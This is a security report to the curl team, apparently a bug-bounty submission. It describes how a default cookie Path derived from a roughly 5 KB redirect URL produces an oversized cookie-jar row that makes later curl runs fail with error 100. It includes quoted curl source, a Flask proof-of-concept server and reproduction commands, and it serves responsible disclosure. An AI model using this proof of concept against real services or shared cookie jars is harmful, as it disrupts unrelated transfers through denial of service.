curl · Report #4127231
Derived cookie Path aborts cookie jar loading in curl 8.23.0
How it was found
Hello curl security team,
I am reporting a related cookie-jar failure that I reproduced on the official curl 8.23.0 release.
Summary
A server redirects curl to a path approximately 5 KB long and responds there with a short cookie that has no Path attribute. curl derives the cookie path from the request URL and writes it to the Netscape cookie jar. The resulting record is 5,047 bytes, excluding the newline. A later curl invocation using that jar exits with error 100 (CURLE_TOO_LARGE) before sending its request.
Vulnerable code
In lib/cookie.c, storecookie() derives a default path from the request path when a cookie omits the Path attribute:
else if(path) {
/* No path was given in the header line, set the default */
const char *endslash = strrchr(path, '/');
if(endslash)
plen = endslash - path + 1; /* include end slash */
else
plen = strlen(path);
}
if(path) {
co->path = sanitize_cookie_path(path, plen);
get_netscape_format() serializes co->path into the Netscape cookie-jar row. The serializer does not enforce the maximum line length used by the reader:
return curl_maprintf(
"%s%s\t" /* domain */
"%s\t" /* tailmatch */
"%s\t" /* path */
"%s\t" /* secure */
"%" FMT_OFF_T "\t" /* expires */
"%s\t" /* name */
"%s", /* value */
...
co->path ? co->path : "/",
...);
On reload, cookie_load() initializes its line buffer to MAX_COOKIE_LINE + 48, or 5,048 bytes:
curlx_dyn_init(&buf, MAX_COOKIE_LINE + 48);
Curl_get_line() appends the newline to the line buffer. The dynamic buffer also reserves space for a terminating NUL; if the required size exceeds the configured limit, it returns CURLE_TOO_LARGE:
size_t fit = len + idx + 1; /* new string + old string + zero byte */
if(fit > s->toobig) {
curlx_dyn_free(s);
return CURLE_TOO_LARGE;
}
This creates a mismatch between serialization and parsing: a cookie path can make the serialized row longer than the reader's buffer can
accept. When the reader exceeds that limit, it returns CURLE_TOO_LARGE and the cookie-jar load fails.
POC
Step 1: Create a simple server and run:
from flask import Flask, abort, make_response, redirect
app = Flask(__name__)
long_path = "/" + "p" * 5015 + "/abc"
@app.get("/redir")
def redir():
return redirect(long_path)
@app.get("/<path:path>")
def set_cookies(path):
if "/" + path != long_path:
abort(404)
response = make_response()
response.set_cookie("root", "available", path="/")
response.set_cookie("long", "v", path=None)
return response
if __name__ == "__main__":
app.run(host="127.0.0.1", port=8000, debug=False, threaded=True)
{F7031492}
Step 2: Use latest 8.23.0 curl to send request to get cookie. This also creates a jar file contains a 5,047-byte row for long=v and a 40-byte row for root=available
./curl -L -b "" -c cookies.txt http://127.0.0.1:8000/redir
{F7031728}
Step 3: curl exits with error 100 (CURLE_TOO_LARGE) while loading the jar
./curl -b cookies.txt http://127.0.0.1:8000
{F7031739}
Impact
The demonstrated impact is denial of service for later curl transfers that load the affected jar. Cookie loading fails before the new HTTP request is sent. Applications that share a persistent jar may see otherwise unrelated transfers fail until the oversized row is removed or the jar is replaced.